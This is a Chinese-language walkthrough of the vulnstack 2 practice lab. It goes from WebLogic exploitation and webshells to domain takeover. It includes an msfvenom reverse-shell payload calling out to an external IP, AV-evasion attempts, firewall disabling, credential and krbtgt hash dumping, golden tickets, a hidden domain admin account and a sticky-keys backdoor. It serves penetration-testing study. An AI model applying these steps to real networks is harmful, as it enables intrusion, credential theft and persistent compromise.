vulnstack 2 靶场,练一下,学习一下
环境配置
同样地,各虚拟机配置:
1  | WEB WinServer2008 x64  | 
这边WEB机的服务器登录的时候会显示密码错误,需要恢复一下快照才能够正常执行
配置网卡:
内网VMet2的子网地址为10.10.10.0
VMet8还是使用NAT模式,子网地址192.168.239.0
然后配置一下网卡:
WEB跟PC两张网卡,一张外网一张内网
这边由于作者写了它的公网ip段是111,所以这边改一下,改成了192.168.239.80,默认网关改为192.168.239.0
PC机和WEB一样
PC:
WEB:
DC就只用一张网卡:
然后到WEB机,打开C:\Oracle\Middleware\user_projects\domains\base_domain\bin
以管理员身份分别运行setDomainENVa,startManageWeblogic,startWeblogic
汇总一下配置:
1  | WEB: 对外的服务器  | 
开打
信息收集
拿kscan扫一下WEB服务:
可以看到开了
1  | mssql 1433  | 
其中7001是weblogic服务
访问一下:
这里直接访问是Error404,这里可以简单开扫一下:
扫到console可以进
weblogic 10.3.6.0
外网打点
拿liqunkit看看能不能爆weblogic
传一下冰蝎的webshell,liqunkit好像不太行,这边换WeblogicExploit(java端的我喜欢用冰蝎)
GitHub - sp4zcmd/WeblogicExploit-GUI: Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行
连接一下
可以上线msf了
这边还可以利用冰蝎反弹shell
按照冰蝎上面的方法操作msf就行了
这边选2333端口打过来,meterpreter连上了
如果用传统的shell执行来弹msf,发现不行,怀疑有杀软。
这时候tasklist一下:
1  | 映像名称 PID 会话名 会话# 内存使用  | 
然后复制到:
Windows杀软在线对比 (saucer-man.com)
发现了360
这边把冰蝎的shell派生给cs
1  | background  | 
发现不行,java的派生不了给msf?
那接下来就两条路了,一是拿msf打
二是做免杀,然后派生cs然后getshell
总之先看msf打法:
内网信息收集 (1)
先看域信息
ipconfig :
发现10.10.10.0网段
systeminfo:
net view失败:
确认域内电脑:
shell直接给我弹出去了,无敌
想getsystem,根本不行
得,java的反弹shell根本不行,还是得去做免杀
免杀
用msf自带的自捆绑+编码方式尝试
- 
自捆绑:使用msfvenom的
-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后跟对应文件路径即可 - 
编码:使用
msfvenom --list encoders可以查看所有的编码器,评级最高的就是cmd/powershell_base64和x86/shikata_ga_nai 
1  | msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.52.94.23 LPORT=2333 -e x86/shikata_ga_nai -x Medicine.exe -i 15 -f exe -o payload4.exe  | 
吗的,还是被发现了,这360这么牛逼
用ShellCode_Loader也被拦。。。
服了。。 可能是病毒库更新了
寄,还真是。2024年3月22的了
那这边只能手动通过一下了,我操了
内网信息收集(2)
getsystem好像不行。只能先收集点信息
域控:
用户:
域管:
传fscan扫内网,淦,冰蝎传不上:
试试蚁剑打内存马
可以了,蚁剑能正常传fscan
之前有个10.10.10网段的,开扫
?不给运行???
算了
那就搭socks代理进去吧
添加路由是为了让msf内的模块能够访问到内网服务,而搭socks代理能够让我们的软件访问到内网
添加路由
1  | run autoroute -s 10.10.10.0/24  | 
添加socks4
1  | use auxiliary/server/socks_proxy  | 
这里先background一下,后面用sessions -i session_id
加完之后就可以用nmap扫了,也可以用msf里的auxiliary/scanner/udp_probe进行探测
这个udp_probe慢的一批,我只能说
如果用其他软件对内网进行扫描的话要加proxychains4
通过proxychains4进行nmap扫描必须要添加以下参数
1  | -sT 全开扫描,完成三次握手  | 
1  | proxychains4 nmap ip -sT -Pn -p  | 
这里我的是3.1,所以改成proxychains
这里测试以下前面udp_probe爆出来的53端口来验证是否代理成功
不是system权限,kiwi爆不出来
总结一下:
1  | ipconfig 发现10.10.10.0内网网段  | 
派生cs
1  | background  | 
弹过来了
权限提升
试试提权,这里得把360关了,服。这就是最新病毒库吗
不然就是提不了一点
关闭防火墙
1  | shell netsh advfirewall set allprofiles state off  | 
导出哈希,logonpasswords
导出了Administrator的密码和mssql的密码:
1  | Administrator hongrisec@2019  | 
这里爆出了SID为500的域管账号(也就是Administrator)
横向移动
201机子还没被扫出来,太神奇了
这边先拿DC,用爆出来的管理员hash横向移动:
这里是拿下DC了,但是PC还是扫不出来。。。?
这就很离谱
总之拿下DC之后进行权限维持
黄金票据
如图,cobalt strike已经给你准备好了
说到黄金票据那就不得不说Kerberos协议
Kerberos协议其实是windows的一个域认证常用协议
其大致流程如下:
- 登录:客户端用户A输入用户名密码
 - 认证:系统验证用户A身份
 - 授权:系统授权客户端用户A访问服务S
 - 请求服务:客户端用户A往服务S发送请求
 
其中参与到的角色有:
- Client:Application Client应用客户端
 - AS:Authentication Server 认证服务器,用于认证用户身份
 - TGS:Ticket-Granting Service 用来授权服务访问
 - SS:Service Server 用户请求的服务S
 
打个比方,整个过程就是:你想坐飞机,但是机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),你拿着机票登机,在检票处(TGS)出示机票,服务人员告诉了你的座位号(Ticket),然后就可以坐到自己的位置上。
黄金票据的大致原理就是伪造krbtgt用户的TGT票据,krbtgt用户是域中的用于管理发放票据的用户,如果拥有了它的权限,就可以伪造系统中的任意用户
前提条件:
- 已经获得DC的管理员权限
 - 获取到krbtgt用户的hash值
 
需要的东西:
- sid
 - krbtgt的密码hash值
 
1  | //获取自己的sid值,下面都可以  | 
当然,logonpasswords之前就已经爆出来了:
1  | S-1-5-21-2756371121-2868759905-3853650604-500  | 
然后爆krbtgt的密码hash值,其实就是hashdump(这里要在DC机上爆)
1  | krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::  | 
在web机生成黄金票据
在web机查看域控的C盘
1  | shell dir \\10.10.10.10\c$  | 
看一下扫不出来的PC能不能看
然并卵
拿到黄金票据之后还可以进一步操作,生成一个影子域管理员
1  | shell net user test$ 123Adf.. /add /domain  | 
粘滞键后门
这个用msfconsole里的post/windows/manager/sticky_keys就行了,但是要有DC的system权限